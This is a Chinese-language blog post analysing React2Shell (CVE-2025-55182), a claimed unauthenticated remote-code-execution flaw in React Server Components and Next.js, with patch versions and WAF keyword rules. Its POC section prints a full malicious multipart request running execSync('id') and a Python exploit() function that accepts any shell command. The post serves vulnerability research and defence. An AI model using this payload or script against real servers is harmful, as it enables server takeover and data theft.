🔥 React2Shell(CVE-2025-55182)深度解析:一个 CVSS 10.0 的“史诗级”RCE 漏洞是如何诞生的?

2025 年冬,一场无声的风暴席卷了现代前端生态——一个无需认证、仅靠一次 POST 请求,就能拿下整台服务器的漏洞悄然爆发。它有个响亮的名字:React2Shell。


🚨 一、这不是演习:漏洞概况速览

  • 漏洞编号:CVE-2025-55182
  • 别名:React2Shell
  • CVSS 评分10.0(最高危!)
  • 披露时间:2025 年 12 月 3 日
  • 影响范围
    • React 19.0.0 – 19.2.0 全系列
    • Next.js 15.x / 16.x(App Router 模式为重灾区)
    • Waku、RedwoodJS、Vite RSC 插件等 RSC 生态工具链

📌 关键事实

  • 无需登录:攻击者连 Cookie 都不需要。
  • 单请求 RCE:一条 POST,即可执行任意系统命令。
  • 🌐 全球超 7.7 万 IP 受影响(Shadowserver 数据),30+ 家企业已被攻陷(Palo Alto Networks 确认)。

💡 一句话总结
React Server Components 的反序列化逻辑信任了客户端——而客户端,从不值得信任。


⚙️ 二、技术深潜:漏洞是如何运作的?

2.1 RSC 与 Flight 协议:高性能的代价

React Server Components(RSC)是 React 19 的核心创新:它把组件渲染逻辑“搬回”服务端,客户端只接收纯 HTML + 数据流,显著提升首屏性能(实测快 50%~80%)。

而这一切,靠的是 Flight 协议——一种 React 自研的双向序列化协议。客户端发起请求 → 服务端执行 Server Function → 返回序列化后的组件树 → 客户端“复活”成 React 组件。

⚠️ 问题在于:这个“复活”(deserialization)过程,没有做任何安全校验


2.2 漏洞根源:hasOwnProperty 的“消失”

react-server-dom-webpackrequireModule 实现中,React 调用了对象自身的 .hasOwnProperty() 方法来判断字段合法性——却忘了:这个对象可能是攻击者伪造的!

攻击者只需构造一个携带 hasOwnProperty 属性的恶意对象,即可:

  1. 劫持原型链(Prototype Pollution)
  2. 访问 constructor.constructor → 获取全局 Function 构造器
  3. 通过 Function('...')()vm.runInThisContext() 执行任意 JS
  4. 最终调用 child_process.execSync() 实现系统级 RCE

🧩 类比理解
就像保安看到“工牌”就放行,却不知道——那张卡是用打印机刚做出来的。


2.3 攻击链拆解:从 HTTP 请求到服务器沦陷

根据 OffSec 的分析,一次完整利用仅需 7 步

步骤关键动作技术点
1构造恶意 Flight 数据块(Chunk)伪装成合法 resolved_model
2注入自定义 then 方法利用 Promise 链自动解析机制
3服务端反序列化触发 .then()JavaScript 引擎主动调用
4控制 _response 解析上下文污染关键内部状态对象
5劫持 _formData.get 访问链$1:constructor:constructor
6获取 Function 构造器实现任意代码生成能力
7执行 process.mainModule.require('child_process').execSync('...')RCE 达成!

核心利用点

  • $@0:引用第一个 chunk
  • _prefix:注入恶意 JS 代码
  • then: "$1:__proto__:then":原型链污染触发器

💣 三、POC 实战:看懂攻击是怎么发生的

🔍 基础 POC(执行 id 命令)

POST / HTTP/1.1
Host: target.com
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX

------WebKitFormBoundaryX
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","_response":{"_prefix":"process.mainModule.require('child_process').execSync('id')","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX--

📌 关键字段说明

  • Next-Action: x:激活 Next.js Server Action 通道
  • _prefix真正的恶意载荷,直接拼接执行命令
  • $1:constructor:constructor:绕过沙箱,直达 Function

🐍 自动化检测脚本(Python)

import requests, random, string

def exploit(url, cmd="id"):
    b = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
    payload = f"""------{b}
Content-Disposition: form-data; name="0"

{{"then":"$1:__proto__:then","status":"resolved_model","_response":{{"_prefix":"process.mainModule.require('child_process').execSync('{cmd}')","_formData":{{"get":"$1:constructor:constructor"}}}}}}
------{b}
Content-Disposition: form-data; name="1"

"$@0"
------{b}--"""

    headers = {
        "Next-Action": "x",
        "Content-Type": f"multipart/form-data; boundary=----{b}"
    }
    try:
        r = requests.post(url, data=payload, headers=headers, timeout=5)
        return r.status_code, r.text[:200]
    except Exception as e:
        return -1, str(e)

⚠️ 仅限授权测试! 生产环境禁止随意扫描。


🌍 四、真实世界中的 React2Shell:攻击已全面爆发

🕵️ 已确认的攻击活动

组织/事件时间手段目标
朝鲜关联组织2025.12.05EtherRAT 后门 + 以太坊智能合约 C2窃取云凭证
“黄金工厂”团伙2025.12.06多阶段 PowerShell 载荷东南亚金融系统
全球挖矿潮持续进行部署 XMRig + systemd 持久化服务器算力劫持

🎯 高危目标画像

行业风险场景
金融篡改交易记录、窃取 KYC 数据、绕过 2FA
电商劫持支付回调、批量刷单、窃取银行卡信息
政府/政务云植入间谍模块、篡改政策文件、DDoS 跳板
SaaS 平台横向渗透租户数据、供应链投毒

📊 云环境风险最高:据调研,39% 的公有云 Next.js 实例存在漏洞


🛡️ 五、防护指南:从紧急止损到长效免疫

✅ 第一步:立即升级(优先级 ★★★★★)

框架修复版本
React Core19.0.1+, 19.1.2+, 19.2.1+
Next.js15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

🔧 检查命令

npm ls react-server-dom-webpack
# 若显示 19.0.0 ~ 19.2.0 → 立即升级!

🚧 临时缓解:WAF 规则(治标不治本,但能救命)

拦截特征关键词(任一命中即阻断):

  • $@ + 数字(如 $@0
  • resolved_model
  • __proto__
  • constructor:constructor
  • _formData.get
  • process.mainModule.require
  • child_process.exec

📌 注意:已有绕过案例(如 Base64 混淆、分块传输),WAF 不能替代升级


🔐 长效加固建议

层级措施
架构层考虑禁用 RSC;或仅对可信内网开放 Server Action
代码层对所有 use server 函数做输入验证 + 白名单校验
运行时使用 process.setuid() 降权;禁用 child_processvm 等模块
监控层部署 RASP(如 OpenRASP)实时拦截 RCE 行为

🌟 六、反思:我们从 React2Shell 学到了什么?

React2Shell 不只是一个 bug,而是一面镜子——它照出了现代 Web 开发中被忽视的安全哲学

旧观念新认知
“客户端传来的一定是合法数据”❌ 一切输入皆不可信
“性能提升 = 架构简化”⚖️ 安全与便利永远需要权衡
“框架修复了,我就安全了”🔁 安全是持续过程,不是开关

🎯 给开发者的三条忠告

  1. 永远不要在 Server Action 中拼接用户输入
  2. RSC 不是银弹,它把“信任边界”推向了服务端
  3. 安全左移:从 npm install 开始,就要做 npm audit

✅ 结语:危机,亦是转机

React2Shell 的爆发令人痛心,但它也推动了整个社区的快速响应:

  • React 团队 4 天内发布热修复
  • Vercel、Cloudflare 紧急推送运行时防护
  • OWASP 新增 “RSC 安全实践” 指南草案

这提醒我们:最危险的不是漏洞本身,而是对技术盲目乐观的信仰

🔐 愿每一位开发者,在追求极致性能的同时,
也能为每一行代码,留下一道安全的防火墙。


📌 本文仅用于技术研究与安全防护参考,严禁用于非法用途。
🔍 关注我,获取更多前沿漏洞分析与防御实践。


✨ 欢迎转发讨论:你如何看待 RSC 的安全模型?在你的项目中,是否已启用 Server Action?如何做防护?
👇 评论区等你来聊。


附:参考资料 & 工具链接

React2Shell(CVE-2025-55182)深度解析:一个 CVSS 10.0 的“史诗级”RCE 漏洞是如何诞生的?

作者

Cryolite 冰晶石

发布日期

2025 - 12 - 23

Cryolite 冰晶石

撃っていいのは撃たれる覚悟のあるヤツだけだ。